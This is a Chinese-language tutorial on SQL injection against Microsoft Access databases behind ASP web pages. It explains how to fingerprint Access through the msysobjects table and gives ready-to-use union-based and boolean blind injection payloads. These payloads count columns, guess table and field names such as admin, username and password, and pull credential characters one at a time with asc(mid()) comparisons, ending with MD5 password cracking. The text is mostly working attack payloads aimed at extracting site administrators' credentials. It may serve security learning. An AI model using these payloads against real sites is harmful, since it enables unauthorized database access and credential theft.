目录
access数据库结构
表名---->列名---->内容数据 不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有若干张表。
access数据库类型判断
根据url文件后缀初步判断,一般asp和access数据库连用,通过and (select count(*) from msysobjects)>0判断是否为access,如果返回错误页面证明数据库为access。
msysobjects是access数据库的系统表之一,access数据库共有三个系统表,分别为msysobjects 、msysqueries、msysrelationships,这三个系统表在web环境下是没有访问权 限的,因此可以通过错误回显来判断access数据库
access数据库需要掌握的几个函数
函数 | 释义 |
---|---|
count() | 返回在给定的选择中被选的行数 |
asc() | 返回字母的ascii值 如:asc(“A”) 返回”65” |
mid() | 返回子字符串,第1位为截断的字符串,第2位为截断开始的位置,第3位是截断的位数如:mid(“ndsec”,3,2) 返回”se” |
IIF() | 根据表达式的值,来判断condition,条件成立返回true,反之返回false 语法: IIF(condition, true, false) |
chr() | 返回ascii码对应的字符 如:chr(65) 返回”A “ |
exists() | 判断是否存在数据,返回值true或者false |
len() | 返回字符串长度 如:len(“tystech”) 返回”7” |
access注入基本流程
1.判断有无注入
2.猜解表名
3.猜解字段
4.猜解用户名和密码长度
5.猜解用户名和密码
access查询方法
联合查询
判断字段数:?id=1 order by N(通过遍历N的值,当页面报错时,字段数为N-1)
输入:?id=5 order by 11页面正常 输入:?id=5 order by 12页面报错 , 说明有11列
枚举关键表名:?id=1 and exists(select count(*) from admin)
输入:?id=5 and exists(select * from users) 页面输出报错,没有users表
输入:?id=5 and exists(select * from admin) 正常输出页面说明有admin表
判断字段回显位置:?id=1 union select 1,2,3,4,5 from admin
access使用联合查询判断回显位置的时候需要跟上表名
猜解关键字段名并获取关键字段的数据:
?id=5 union select 11,username,password,44,55,66,77,88,91,111,222 from admin
(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列明继续猜)(列名猜对后及出账号密码)
布尔型盲注
(与联合查询类似,这里不再用截图表示)
判断数据库类型:
and (select count(*) from msysobjects)>0 (返回错误则为access数据库)
猜解表名:
and exists (select * from admin) (返回正确则存在admin表,返回错误则不存在)
猜解字段:
and exists (select username from admin)(若无出错则证明存在username字段)
猜解用户名长度:
and (select top 1 len(username) from admin)>0(用数字替换0,直到返回非正常页面,数字为多少用户名长度就为多少)
猜解密码长度:
and (select top 1 len(password) from admin)>0(用数字替换0,直到返回非正常页面,数字为多少密码长度就为多少)
猜解用户名内容:
and(select top 1 asc(mid(username,1,1))from admin)=97(若返回正常,说明username的第一位内容是ASC码的97,也就是a,猜第二位把username,1,1改成username,2,1就可以了) and(select top 1 asc(mid(username,2,1))fromadmin)=100(若返回正常,说明username的第二位内容是ASC码的100,也就是d,以此类推,便可得到用户名)
猜解密码内容:
and(select top 1 asc(mid(password,1,1))from admin)=52(若返回正常,说明password的第一位内容是ASC码的52,也就是4,猜第二位把password,1,1改成password,2,1就可以了)and(select top 1 asc(mid(password,2,1))from admin)=54(若返回正常,说明password的第二位内容是ASC码的54,也就是6,以此类推得到MD5密码,进行破解后获取原始密码